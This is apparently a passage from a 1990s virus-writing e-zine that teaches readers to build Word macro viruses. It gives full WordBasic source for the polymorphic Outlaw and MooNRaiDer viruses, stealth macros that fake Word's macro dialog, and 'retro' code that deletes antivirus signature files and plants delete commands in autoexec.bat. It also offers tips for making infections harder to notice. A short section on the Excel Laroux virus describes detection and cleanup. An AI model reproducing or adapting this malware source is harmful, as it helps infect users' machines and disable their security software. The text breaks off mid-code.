editable (not readonly). And finally the virus will change to the directory "c:\dos" and executes the "exec.bat" file that was created earlier, after that the virus will change to the "c:\" directory. So the next time you start your computer the Neurobasher.b virus will be loaded. Have fun trying this out ;-) --- Neophyte --- POLYFORMISM IN MACRO VIRII -------------------------- If you don't know what polymorfism is: it's a sort of encryption of a virus, but one that changes the encryption routine every infection. I hope you got it now, but if you don't I'll say it again:"I'm not an english teacher so fuck it if you can't follow me." The above descryption of polymorfism is mainly mend for dos (assembler) virii. With macro virii it is a bit different. As you probably know a macro virii contains macros (duh...) and as you probably know, those macros have names (duh...). Several AV products look for those names to identify if a file is infected. So the only thing that is to be done is create different names every infection. That's easier said then done, believe me. The very first polymorfic macro virus created was the Outlaw virus. It was created by the Nightmare Joker from SLAM. The Outlaw source for creating random macro names is put down here. I think it's quite complicated so I give a full explanation of it beside the source. For the complete Outlaw virus see "macro viruses". 'This is the macro that infects the Normal.dot ---------------------------------------------------------------- Sub MAIN On Error Goto Done 'Error handler. A$ = FileName$() 'A$ = active filename. If A$ = "" Then Goto Finish 'If no file active goto finish. If CheckInstalled = 0 Then 'Already installed?... Routine 'No then goto Sub Routine, Crypt 'Sub Crypt, Sub PayLoadMakro, PayloadMakro 'etc. FileSaveAll 1, 1 Else 'Yes (already installed). Goto Done 'Goto done. End If Done: 'Done (already installed). A$ = FileName$() 'A$ = active filename. If A$ = "" Then 'If no file active goto finish. Goto Finish Else 'If a file is active, Insert " " 'insert a "space", for infecting 'the active file. End If Finish: 'Finish (no file active). End Sub Sub Crypt 'The Sub Crypt. One = 7369 'Number one is 7369. Two = 9291 'Number two is 9291. Num = Int(Rnd() * (Two - One) + One) 'generate random number. A$ = Str$(Num) 'A$ is generated number. A$ = LTrim$(A$) 'Delete the empty space before... 'the number. The empty space is... 'for making the number negative, 'e.g. -7369. Beginn = Hour(Now()) 'Beginn is the active hour. B$ = Str$(Beginn) 'B$ is the active hour (string). B$ = LTrim$(B$) 'Delete the empty space in B$. If B$ = "1" Then C$ = "A" 'If B$ is 1 (1 o'clock)... 'then C$ is A. If B$ = "2" Then C$ = "B" 'If B$ is 2 (2 o'clock)... 'then C$ is B. If B$ = "3" Then C$ = "C" 'If B$ is 3 (3 o'clock)... 'then C$ is C. If B$ = "4" Then C$ = "D" 'Etc. If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" E$ = C$ + A$ 'E$ is C$ (character) plus... 'A$ (the generated number). ZU$ = GetDocumentVar$("VirNameDoc") 'ZU$ is macro called VirNameDoc... 'Watch out:VirNameDoc is not... 'the real macro name, it's some... 'sort of string. PG$ = WindowName$() + ":" + ZU$ 'PG$ is active filename plus... '":" and plus macro name (ZU$). MacroCopy PG$, "Global:" + E$ 'Copies macro from document... 'to global template, with... 'the name that was generated. SetProfileString "Intl", "Name2", E$ 'Set the macro name in... 'win.ini. as "Intl", "Name2", E$. ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 0 'Creates short-cut with the... 'ascii keycode 69 (E). If the... 'E key is pushed the macro... 'E$ will be executed (The above... 'macro). With the .Add you tell... 'Word that you want to add that... 'function to the key not replace... 'it. End Sub 'End the Sub Crypt Sub Routine 'Begin Sub Routine One = 7369 'This is practically... Two = 9291 'the same as Sub Crypt. Num = Int(Rnd() * (Two - One) + One) 'I will only explain the... A$ = Str$(Num) 'things that aren't... A$ = LTrim$(A$) 'explained above. Beginn = Hour(Now()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" D$ = C$ + A$ 'The same as in Sub Crypt... UZ$ = GetDocumentVar$("VirName") 'only with other names. GP$ = WindowName$() + ":" + UZ$ MacroCopy GP$, "Global:" + D$ SetProfileString "Intl", "Name", D$ ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0 'This one creates a short-cut... 'with the D$ macro (this macro)... 'if the spacebar (keycode 32)... 'is pushed. End Sub Sub PayloadMakro 'Same again. One = 7369 Two = 9291 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Hour(Now()) B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "A" If B$ = "2" Then C$ = "B" If B$ = "3" Then C$ = "C" If B$ = "4" Then C$ = "D" If B$ = "5" Then C$ = "E" If B$ = "6" Then C$ = "F" If B$ = "7" Then C$ = "G" If B$ = "8" Then C$ = "H" If B$ = "9" Then C$ = "I" If B$ = "10" Then C$ = "J" If B$ = "11" Then C$ = "K" If B$ = "12" Then C$ = "L" If B$ = "13" Then C$ = "M" If B$ = "14" Then C$ = "N" If B$ = "15" Then C$ = "O" If B$ = "16" Then C$ = "P" If B$ = "17" Then C$ = "Q" If B$ = "18" Then C$ = "R" If B$ = "19" Then C$ = "S" If B$ = "20" Then C$ = "T" If B$ = "21" Then C$ = "U" If B$ = "22" Then C$ = "V" If B$ = "23" Then C$ = "W" If B$ = "00" Then C$ = "X" K$ = C$ + A$ 'Again another name. ZUZ$ = GetDocumentVar$("VirNamePayload") GP$ = WindowName$() + ":" + ZUZ$ MacroCopy GP$, "Global:" + K$ SetProfileString "Intl", "Name3", K$ 'Only this time no... 'short-cut because this... 'is the payloadmacro and... 'this payload macro is only... 'executed on a special date... 'that is programmed in... 'another macro. For the... 'whole Outlaw virus, see... 'the virii section. End Sub Function CheckInstalled 'A function to check if... 'the virus already installed... 'the global template (Normal.Dot). CC$ = GetProfileString$("Intl", "Name") 'CC$ is the name of the Routine... 'macro (Sub Routine). CheckInstalled = 0 'Set the var checkinstalled to 0. If CountMacros(0) > 0 Then 'If the number of macros in... 'Normal.Dot is greater then 0, For i = 1 To CountMacros(0) 'then create a for...next loop... 'that loops the number of macros. If MacroName$(i, 0) = CC$ Then 'If the macro name in... CheckInstalled = 1 'Normal.dot is CC$ (routine... 'macro) then set var... 'CheckInstalled to 1. End If 'Ends the If instruction. Next i 'All macros done? then... 'continue. Else go back to... 'for...next loop. End If 'Ends the If instruction. End Function 'The end of the function. ---------------------------------------------------------------- This is one macro from the Outlaw virus. To get the names of the macros, to use them in other macros, just use: CC$ = GetProfileString$("Intl", "Name") CC$ can be any string name you want but make sure to use the right name you gave to the macro, in this example "Intl" and "Name". Viewture & Optimization ----------------------- A thing that could happen with the way this polymorphic name is generated is that you get 2 same names, OK it's obvious that it won't happen often but you never know. To correct this problem you can use the following code: Sub Crypt One = 1 Two = 1000 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) ------------------------- Sub Routine One = 1001 Two = 2000 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) A$ = LTrim$(A$) And so on... As you see I used different numbers so ou couldn't get a same name. You can also use different characters for the first letter. Another thing is, that the virus checks for the time to generate the first letter. It could be better to randomly generate the first letter. That is fixed easily, just create a second random number generator that generates a number between 1 and 24. And for the future...... --- Neophyte --- and some help from NJ DIFFERENT STEALTH TECHNIQUES IN MACRO VIRII ------------------------------------------- I wasn't planning to make something real big from this so it's probably a bit short. You'll get a few examples but that's it. Most of the time the macros that take care of the stealth technique are named ToolsMacro (In the English version of Word) because if it's put in ToolsMacro it's automatticly executed when the user selects Tools-->Macro from the menu. Here are a couple examples: ----------------------------------------------------------- Sub MAIN On Error Goto ErrorRoutine OldName$ = NomFichier$() If macros.bDebug Then MsgBox "start ToolsMacro" Dim dlg As OutilsMacro If macros.bDebug Then MsgBox "1" GetCurValues dlg If macros.bDebug Then MsgBox "2" On Error Goto Skip Dialog dlg OutilsMacro dlg Skip: On Error Goto ErrorRoutine End If REM enable automacros DisableAutoMacros 0 macros.SavToGlobal(OldName$) macros.objectiv Goto Done ErrorRoutine: On Error Goto Done If macros.bDebug Then MsgBox "error " + Str$(Err) + " occurred" End If Done: End Sub ----------------------------------------------------------- This one is from 'the macro virus writing tuturial' from Dark Night. Or you could use: ----------------------------------------------------------- Sub MAIN Dim dlg As OutilsMacro GetCurValues dlg On Error Resume Next Diag$ = "0" Section$ = "Compatibility" wininistr$ = "0x0020401" ProfileName$ = "RR2CD" PrintText$ = "Brought to you by the Nemesis Corporation, 1996" Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115) NoVir$ = GetProfileString$(Section$, ProfileName$) If (NoVir$ = wininistr$) Or (diag$ = "1") Then Dialog dlg OutilsMacro dlg Else MsgBox "This option is not available right now.", "Warning", 48 End If End Sub ----------------------------------------------------------- This one is from the Nemesis (Xenixos) virus. I've changed it a bit. And finally to give another example, from the MooNRaiDer virus. ----------------------------------------------------------- Sub MAIN Dim ComboBox1$(0) ComboBox1$(0) = "" Dim ListBox1$(0) ListBox1$(0) = "" Dim DropListBox2$(0) DropListBox2$(0) = "Normal.dot" Begin Dialog UserDialog 442, 320, "Macro" PushButton 290, 14, 141, 21, "Rec&ord...", .Definierbar2 CancelButton 290, 43, 141, 21 PushButton 290, 72, 141, 21, "&Run", .Definierbar3 PushButton 290, 102, 141, 21, "&Edit", .Definierbar4 PushButton 290, 130, 141, 21, "&Delete", .Definierbar5 PushButton 290, 166, 141, 21, "Or&ganizer...", .Definierbar6 ComboBox 7, 23, 269, 194, ComboBox1$(), .ComboBox1 Text 6, 223, 93, 13, "Macros &Available In:", .Text1 Text 7, 259, 109, 13, "Descr&iption:", .Text2 Text 7, 6, 93, 13, "Macros:", .Text3 ListBox 7, 276, 425, 38, ListBox1$(), .ListBox1 DropListBox 6, 238, 425, 19, DropListBox2$(), .ListBox2 End Dialog Redim dlg As UserDialog x = Dialog(dlg) Select Case x Case 0 Cancel Case 1 MsgBox "Not enough memory", "WordBasic Err = 7" Case 2 MsgBox "Not enough memory", "WordBasic Err = 7" Case 3 MsgBox "Not enough memory", "WordBasic Err = 7" Case 4 MsgBox "Not enough memory", "WordBasic Err = 7" Case 5 MsgBox "Not enough memory", "WordBasic Err = 7" End Select End Sub ----------------------------------------------------------- Ok, I know it isn't anything more then just some stolen macros but maybe you get some inspiration from this and you will end up creating the perfect macro virus, who knows... --- Neophyte --- ANTI-ANTI-VIRUS (RETRO) IN MACRO VIRII -------------------------------------- It's quite simple to attack Non-Resident Anti-virus software, just delete or rename a specific file and your AV progi won't work anymore. Most of the time the user will reinstall the product so if you put a line in autoexec.bat that deletes or renames the file if it exists again the technique is quite useful. But I didn't discovered yet how to avoid the memory-resident AV software. Here is some example I used in my Puritan (1) virus. The Puritan (1) virus is just a bad rip off concept virus, but with retro techniques and simple stealth, but eh don't blame me for having two days time to create a virus and a new technique so the virus contains some bugs, but the virus will be continued. There's the (1) for. Here is a piece of the Puritan (1) virus to demonstrate a new technique to attack non-resident AV software. '----------------------------------------------------------- 'The AutoOpen macro. 'This is used for executing the Retro Macro, the macro with 'the retro technique in it. It will only be executed one time, 'At infection, because if Normal.Dot is already infected the 'macro will jump to Z and will not execute the Retro Macro again. 'This retro technique is only used for AV software in Win95 because 'I hadn't the time to get other AV progi's and to add them. Check 'the VBB magazine's for more from this. '----------------------------------------------------------- Sub MAIN On Error Goto Z 'This is actually the same... iM = CountMacros(0, 0) 'as the concept virus. For... For i = 1 To M 'a full explained Puritan (1)... If M$(i, 0, 0) = "Puritan" Then Y = - 1 End If 'virus, choose virii--->Puritan(1). Next i If Not Y Then F$ = WindowsName$() S$ = F$ + ":Puritan" MacroCopy S$, "Global:Puritan" S$ = F$ + ":Rtr" MacroCopy S$, "Global:Retro" S$ = F$ + ":FSAB" MacroCopy S$, "Global:FileSaveAs" S$ = F$ + ":FSAB" MacroCopy S$, "Global:FSAB" S$ = F$ + ":AOB" MacroCopy S$, "Global:AOB" S$ = F$ + ":ToolsMacro" MacroCopy S$, "Global:ToolsMacro" End If ToolsMacro .Name = "Retro", .Run, .Show = 0, .Discription = "", .NewName = "" 'This will execute the macro Retro in Normal.Dot. Z: End Sub '--------------- 'The Retro Macro '--------------- Sub MAIN 'Norton AntiVirus On Error Goto 'Error Handler. VF$ = "C:\Program Files\Norton AntiVirus\Virscan.Dat" 'VF$ (Virus File) is Virscan.dat. If Files$(VF$) = "" Then Goto a 'If VF$ (Virscan.dat) doesn't... 'exists goto a. SetAttr VF$, 0 'If it exists set the attributes... 'to zero (no attributes). Kill VF$ 'Then delete the file. 'The next time you will start... 'your AV progi it cannot scan... 'any files. a: On Error Goto c 'Error Handler. AB$ = "C:\Autoexec.bat" 'AB$ (AutoExec.bat) is C:\Autoexec.bat. If Files$(AB$) = "" Then Goto c 'If AB$ (AutoExec.bat) doesn't... 'exists goto c. SetAttr AB$, 0 'If it exists set the attributes... 'to zero (no attributes). Open AB$ For Append As #1 'Then open AB$ (AutoExec.bat)... 'for appending. Print #1, "@echo off" 'Put the line "@Echo Off" at the... 'end of the AutoExec.bat. Print #1, "IF exist " + VF$ + " then del " + VF$ 'Then Put the line 'IF exist... '"C:\Program Files\Norton AntiVirus\ 'Virscan.dat" then del "C:\Program 'Files\Norton AntiVirus\Virscan.Dat" Close #1 'Close the AutoExec.bat '---------------------------- 'F-PROT W95 c: 'This is just the same as above... On Error Goto d 'Only with F-PROT for W95. VF$ = "C:\Program Files\F-Prot95\Fpwm32.dll" If Files$(VF$) = "" Then Goto d SetAttr VF$, 0 Kill VF$ d: AB$ = "C:\Autoexec.bat" If Files$(AB$) = "" Then Goto f SetAttr AB$, 0 Open AB$ For Append As #1 Print #1, "IF exist " + VF$ + " then del " + VF$ Close #1 '---------------------------- 'MCAFEE W95 f: On Error Goto g VF$ = "C:\Program Files\McAfee\Scan.dat" If Files$(VF$) = "" Then Goto g SetAttr VF$, 0 Kill VF$ g: AB$ = "C:\Autoexec.bat" If Files$(AB$) = "" Then Goto h SetAttr AB$, 0 Open AB$ For Append As #1 Print #1, "IF exist " + VF$ + " then del " + VF$ Close #1 '---------------------------- 'TBAV W95 h: On Error Goto i VF$ = "C:\Tbavw95\Tbscan.sig" If Files$(VF$) = "" Then Goto i SetAttr VF$, 0 Kill VF$ i: AB$ = "C:\Autoexec.bat" If Files$(AB$) = "" Then Goto j SetAttr AB$, 0 Open AB$ For Append As #1 Print #1, "IF exist " + VF$ + " then del " + VF$ Close #1 J: Z: End Sub '---------------------------------------------------------- Ok, yet it's only for 4 AV-programs but I know you can make lots of more routines such as these. But if you cannot watch out for our next issue and in the meantime make sure to look at the VBB magazines for more from us about this. If anyone has an idea how to defeat TSR-AV programs e-mail me. The_Neophyte@Hotmail.com --- Neophyte --- HOW TO OPTIMIZE YOUR MACRO VIRII -------------------------------- Ok, this one may not be very long but I think it's effective enough to put it in here. As with every sort of virus there is a rule that if something is smaller it will go faster. With macro virii it doesn't really matter how fast the virus works because when you work on a Pentium 166 with a load of memory you will not notice the virus is even active, but there are other reasons to make your virus smaller. For instance, If your virus is 10k big and it infects a journalists network, and all the journalists together will create 250 documents in a day I'm sure somebody will notice that in 10 days the harddisk space is increased with 25 megabyte, so if you can make your virus 9k big the lost harddisk space in 10 days is only 22,5 megabytes. 2,5 megabytes with just 1k decreasement. I hope you get the point, now I will give you a couple things to decrease your virus length with. Never put any comments in the actual virus, I mean, don't put any comments in the virus you will spread. If you put a virus in a magazine or something, it's better to put comments in it. ----------------------------- Also, use as much strings as possible. I've tested it with a simple test: Create an empty template, and create a macro in that template. Now delete the Sub Main and End Sub commands and type a line like this: 'Welcome to the SLAM magazine issue 1, the Document X' Then select the line and use copy and paste to copy the line for about 50 times. When that's done select all the 50 lines and use the edit-->copy command. Then save the template with the macro as 'Test1.dot'. Then create a second empty template and also create a macro in that template and delete the Sub Main and End Sub commands. Then paste the 50 lines to the empty macro. After that use the find replace command and type at find: Welcome to the SLAM magazine issue 1, the Document X and type at replace: A$ Check to see if every line is changed in A$. then type this at the top of the macro: A$ = "Welcome to the SLAM magazine issue 1, the Document X" And finally save the template as Test2.dot. Now go to dos and check the length of both files. See any differences? And don't use long labels, see the following example: In stead of using this: ----------------------------------------------------------- Sub Main CheckNumber = 0 Check_CheckNumber: If CheckNumber = 5 then goto CheckNumber_is_5 else goto Checknumber_is_not_5 CheckNumber_is_not_5: CheckNumber = CheckNumber + 1 goto Check_Checknumber CheckNumber_is_5: MsgBox "CheckNumber is 5", "Finished" End Main ----------------------------------------------------------- You could use this: ----------------------------------------------------------- Sub Main C = 0 F: If C = 5 then goto A else goto B B: C = C + 1 goto F A: MsgBox "CheckNumber is 5", "Finished" End Main ----------------------------------------------------------- You got it now? Ok, it won't make your virus more readable with it but it's smaller. And what the fuck do you care if some AV-pussy can't understand it :) I think you can make up other things to decrease the size of your virus. Be creative..... --- Neophyte --- WORD.EXCEL.LAROUX ----------------- A year after the first widespread Microsoft Word macro virus, the first real Microsoft Excel macro was found in July 1996. Word macro viruses have demonstrated that viruses spreading in macro format inside document files can spread far and wide: WordMacro/Concept is the most commonly reported virus in the world. The first Excel macro virus was named ExcelMacro/Laroux. Once the Excel environment has been infected by this virus, the virus will always be active when Excel is loaded and will infect any new Excel workbooks that are created as well as old workbooks when they are accessed. The virus spreads from a machine to another when XLS files are exchanged over a local network, over the internet, in e-mail or on diskettes. ExcelMacro/Laroux was written in Visual Basic for Applications (VBA). This is a macro language based on the Visual Basic language from Microsoft. This virus is be able to operate under Excel 5.x and 7.x under Windows 3.x, Windows 95 and Windows NT. This virus does not work under any version of Excel for Macintosh or Excel 3.x or 4.x for Windows. It also fails under some localized versions of Excel, but works fine under other (for example, it won't work under French Excel, but replicates fine under Finnish Excel). This depends on how the translation is done. ExcelMacro/Laroux consists of two macros, auto_open and check_files. The auto_open macro executes whenever an infected Spreadsheet is opened, followed by the check_files macro which determines the startup path of Excel. If there is no file named PERSONAL.XLS in the startup path, the virus creates one. This file contains a module called "laroux". PERSONAL.XLS is the default filename for any macros recorded under Excel. Thus you might have PERSONAL.XLS on your system even though you are not infected by this virus. The startup path is by default set as \MSOFFICE\EXCEL\XLSTART, but it can be changed from Excel's Tools/Options/General/Alternate Startup File menu option. If an infected workbook resides on a write-protected floppy, an error will occur when Excel tries to open it and the virus will not be able to replicate. ExcelMacro/Laroux is not intentionally destructive and contains no payload; it just replicates. Detecting ExcelMacro/Laroux manually ------------------------------------ Select Tools/Macro from Excel menus. If you find the macros auto_open, check_files, PERSONAL.XLS!auto_open and PERSONAL.XLS!check_files (and possibly 'bookname'!auto_open and 'bookname'!check_files from any infected workbook you have open), infection is likely. Re-check this by selecting the Window/Unhide menu and unhide the Personal file. This should make the Personal sheet visible, with text laroux in in the sheet tab. To disinfect Laroux, delete these macros and exit Excel, saving all changes. Now Excel itself is clean. Next, open all infected workbooks one by one, keeping the left shift pressed down while opening them (according to Excel documentation, this bypasses automacros, but unfortunately it doesn't seem to always work). Then open Tools/Macro and delete the virus macros and re-save the file. ------------------------------------------------------------- Macro.Excel.Laroux This virus infects Excel sheets (XLS files). It contains two macros: auto_open and check_files. While loading an infected document Excel executes auto macros auto_open, and the virus receives the control. The virus auto_open macro contains just one command that defines the check_files macro as a handler of OnSheetActivate routine. As a result the virus hooks the sheet activate routine, and while opening a sheet the virus (the check_files macro) receives the control. When the check_files macro receives the control, it searches for the PERSONAL.XLS files in the Excel Startup directory and checks the count of modules in the current Workbook. If the infected macro is an active Workbook, and the PERSONAL.XLS file does not exist in the Excel Startup directory (the virus is executed for the first time), the virus creates that file there and saves its code to that file by using the SaveAs command. When Excel is loading its modules for the next time, it automatically loads all XLS files from the Startup directory. As a result, the infected PERSONAL.XLS is loaded as well as other files, the virus receives the control and hooks the sheet activation routine. If the active macro is not infected (there are no modules in the active Workbook) and the PERSONAL.XLS file exists it the Excel directory, the virus copies its code to the active Workbook. As a result the active Workbook gets infection. To check your system for the virus one should to check PERSONAL.XLS and other XLS files for the string "laroux" that presents in infected sheets. --- Aurodreph --- [ WordMacro. MooNRaiDer ] VIRUSNAME: MooNRaiDer SIZE: 14806 Bytes (5 Makros) ORIGIN: Germany AUTHOR: Nightmare Joker ->Polymorf Yes ->Stealth Yes ->Encrypted Yes, this file not but see virii.zip for encrypted version. ->Retro No --------------------------------------------------------------------------- Macro SH8004 --------------------------------------------------------------------------- Sub MAIN On Error Goto Done A$ = FileName$() 'Is a file open? If A$ = "" Then Goto Finish 'No, then goto end. If CheckInstalled = 0 Then 'Is the normal.dot infected? Routine 'If not, then call "Routine", "Crypt", Crypt 'PayloadMakro and save all. PayloadMakro FileSaveAll 1, 1 Else 'If normal.dot is infected Goto Done 'goto end. End If Done: A$ = FileName$() 'If no file open goto end. If A$ = "" Then Goto Finish Else 'A file is open and the user has pushed Insert " " 'the Backspace Button. We must now insert End If 'an empty field. Finish: 'end. End Sub Sub Crypt One = 7363 Two = 9294 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) 'Generate now a new numba. A$ = LTrim$(A$) Beginn = Hour(Now()) 'Get the hour. B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "AZ" 'If it's now 1 o'clock then C$ = "AZ" If B$ = "2" Then C$ = "BY" 'and so on... If B$ = "3" Then C$ = "CX" If B$ = "4" Then C$ = "DW" If B$ = "5" Then C$ = "EV" If B$ = "6" Then C$ = "FU" If B$ = "7" Then C$ = "GT" If B$ = "8" Then C$ = "HS" If B$ = "9" Then C$ = "IR" If B$ = "10" Then C$ = "JQ" If B$ = "11" Then C$ = "KP" If B$ = "12" Then C$ = "LO" If B$ = "13" Then C$ = "MN" If B$ = "14" Then C$ = "NM" If B$ = "15" Then C$ = "OL" If B$ = "16" Then C$ = "PK" If B$ = "17" Then C$ = "QJ" If B$ = "18" Then C$ = "RI" If B$ = "19" Then C$ = "SH" If B$ = "20" Then C$ = "TG" If B$ = "21" Then C$ = "UF" If B$ = "22" Then C$ = "VE" If B$ = "23" Then C$ = "WD" If B$ = "00" Then C$ = "XC" E$ = C$ + A$ ZU$ = GetDocumentVar$("VirNameDoc") 'Get the first macro name. PG$ = WindowName$() + ":" + ZU$ 'Copy the macro to MacroCopy PG$, "Global:" + E$ 'normal.dot. SetProfileString "Intl", "Name2", E$ 'insert the macro name into win.ini 'Now prepare a combination between the Key "e" and the macro. ToolsCustomizeKeyboard .KeyCode = 69, .Category = 2, .Name = E$, .Add, .Context = 0 End Sub Sub Routine One = 7363 Two = 9295 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) 'Generate a new numba again. A$ = LTrim$(A$) Beginn = Hour(Now()) 'Get the hour. B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "AZ" 'If it's 1 o'clock then C$ = "AZ" If B$ = "2" Then C$ = "BY" 'and so on... If B$ = "3" Then C$ = "CX" If B$ = "4" Then C$ = "DW" If B$ = "5" Then C$ = "EV" If B$ = "6" Then C$ = "FU" If B$ = "7" Then C$ = "GT" If B$ = "8" Then C$ = "HS" If B$ = "9" Then C$ = "IR" If B$ = "10" Then C$ = "JQ" If B$ = "11" Then C$ = "KP" If B$ = "12" Then C$ = "LO" If B$ = "13" Then C$ = "MN" If B$ = "14" Then C$ = "NM" If B$ = "15" Then C$ = "OL" If B$ = "16" Then C$ = "PK" If B$ = "17" Then C$ = "QJ" If B$ = "18" Then C$ = "RI" If B$ = "19" Then C$ = "SH" If B$ = "20" Then C$ = "TG" If B$ = "21" Then C$ = "UF" If B$ = "22" Then C$ = "VE" If B$ = "23" Then C$ = "WD" If B$ = "00" Then C$ = "XC" D$ = C$ + A$ UZ$ = GetDocumentVar$("VirName") 'Get the second macro name. GP$ = WindowName$() + ":" + UZ$ 'Copy it again to normal.dot MacroCopy GP$, "Global:" + D$ SetProfileString "Intl", "Name", D$ 'insert the name into the win.ini, too. 'Now prepare a combination between the second macro and the Backspace Button ToolsCustomizeKeyboard .KeyCode = 32, .Category = 2, .Name = D$, .Add, .Context = 0 End Sub Sub PayloadMakro One = 7693 Two = 9216 Num = Int(Rnd() * (Two - One) + One) A$ = Str$(Num) 'Generate a new numba for the third A$ = LTrim$(A$) 'macro. Beginn = Hour(Now()) 'Get the hour again. B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "AZ" 'And if it's now 1 o'clock then If B$ = "2" Then C$ = "BY" 'C$ = "AZ" If B$ = "3" Then C$ = "CX" 'and so on... If B$ = "4" Then C$ = "DW" If B$ = "5" Then C$ = "EV" If B$ = "6" Then C$ = "FU" If B$ = "7" Then C$ = "GT" If B$ = "8" Then C$ = "HS" If B$ = "9" Then C$ = "IR" If B$ = "10" Then C$ = "JQ" If B$ = "11" Then C$ = "KP" If B$ = "12" Then C$ = "LO" If B$ = "13" Then C$ = "MN" If B$ = "14" Then C$ = "NM" If B$ = "15" Then C$ = "OL" If B$ = "16" Then C$ = "PK" If B$ = "17" Then C$ = "QJ" If B$ = "18" Then C$ = "RI" If B$ = "19" Then C$ = "SH" If B$ = "20" Then C$ = "TG" If B$ = "21" Then C$ = "UF" If B$ = "22" Then C$ = "VE" If B$ = "23" Then C$ = "WD" If B$ = "00" Then C$ = "XC" K$ = C$ + A$ ZUZ$ = GetDocumentVar$("VirNamePayload") 'so, we need the third macro name. GP$ = WindowName$() + ":" + ZUZ$ MacroCopy GP$, "Global:" + K$ 'Copy it to normal.dot. SetProfileString "Intl", "Name3", K$ 'insert the name into the win.ini 'Copy the ToolsMacro (macro for the english version of word) and the 'ExtrasMakro (macro for the german version of word) to normal.dot. MacroCopy WindowName$() + ":ToolsMacro", "Global:ToolsMacro" MacroCopy WindowName$() + ":ExtrasMakro", "Global:ExtrasMakro" End Sub Function CheckInstalled 'Is normal.dot infected? CC$ = GetProfileString$("Intl", "Name") 'Get the macro name. CheckInstalled = 0 'Set CheckInstalled to 0. If CountMacros(0) > 0 Then For i = 1 To CountMacros(0) 'If there any macro's If MacroName$(i, 0) = CC$ Then 'search the virus macro CheckInstalled = 1 'If the normal.dot is infected End If 'CheckInstalled = 1 Next i End If End Function --------------------------------------------------------------------------- Macro SH9272 --------------------------------------------------------------------------- Sub MAIN On Error Goto Finish 'If there are any error's goto 'end of macro. A$ = FileName$() 'Is a file open? If A$ = "" Then Goto Finish 'No, then go to the end. UZ$ = GetProfileString$("Intl", "Name") 'Get the macro names from ZU$ = GetProfileString$("Intl", "Name2") 'the win.ini ZUZ$ = GetProfileString$("Intl", "Name3") If CheckInstalledDoc = 1 Then 'Is the active file infected? Goto Finish 'Yes, then goto Finish. Else On Error Resume Next FileSaveAs .Format = 1 'Format the active file to a Routine '*.dot file. Crypt 'Now call "Routine", "Crypt", PayloadMakro 'and "PayloadMakro" and then FileSaveAll 1, 0 'save all. End If Finish: A$ = FileName$() 'Is a file open? If A$ = "" Then Goto Finito 'No, goto end. Else Insert "e" 'Yes, then insert a "e" into End If 'the active file. Finito: REM Nothing to do! Payload_Start: AK$ = GetProfileString$("Intl", "Name3") 'Get the Payload macro name. 'And start it! ToolsMacro .Name = AK$, .Run, .Show = 0, .Description = "", .NewName = "" NO: End Sub Sub Crypt One = 3693 Two = 9917 Num = Int(Rnd() * (Two - One) + One) 'Yeah, and a new numba again. A$ = Str$(Num) A$ = LTrim$(A$) Beginn = Hour(Now()) 'Get the hour again. B$ = Str$(Beginn) B$ = LTrim$(B$) If B$ = "1" Then C$ = "AZ" 'And If it's now 1 o'clock If B$ = "2" Then C$ = "BY" 'then C$ = "AZ" If B$ = "3" Then C$ = "CX" 'and so on... If B$ = "4" Then C$ = "DW" If B$ = "5" Then C$ = "EV" If B$ = "6" Then C$ = "FU" If B$ = "7" Then C$ = "GT" If B$ = "8" Then C$ = "HS" If B$ = "9" Then C$ = "IR" If B$ = "10" Then C$ = "JQ" If B$ = "11" Then C$ = "KP" If B$ = "12" Then C$ = "LO" If B$ = "13" Then C$ = "MN" If B$ = "14" Then C$ = "NM" If B$ = "15" Then C$ = "OL" If B$ = "16" Then C$ = "PK" If B$ = "17" Then C$ = "QJ" If B$ = "18" Then C$ = "RI" If B$ = "19" Then C$ = "SH" If B$ = "20" Then C$ = "TG" If B$ = "21" Then C$ = "UF" If B$ = "22" Then C$ = "VE" If B$ = "23" Then C$ = "WD" If B$ = "00" Then C$ = "XC" E$ = C$ + A$ ZU$ = GetProfileString$("Intl", "Name") 'Get the first macro name. 'Copy the macro to the active 'file. MacroCopy "Global:" + ZU$, WindowName$() + ":" + E$ SetDocumentVar "VirNameDoc", E$ 'the doc variable "VirNameDoc" 'contains the macro name now. 'Prepare a combination between the Key "e" and the macro. ToolsCustomizeKeyboard 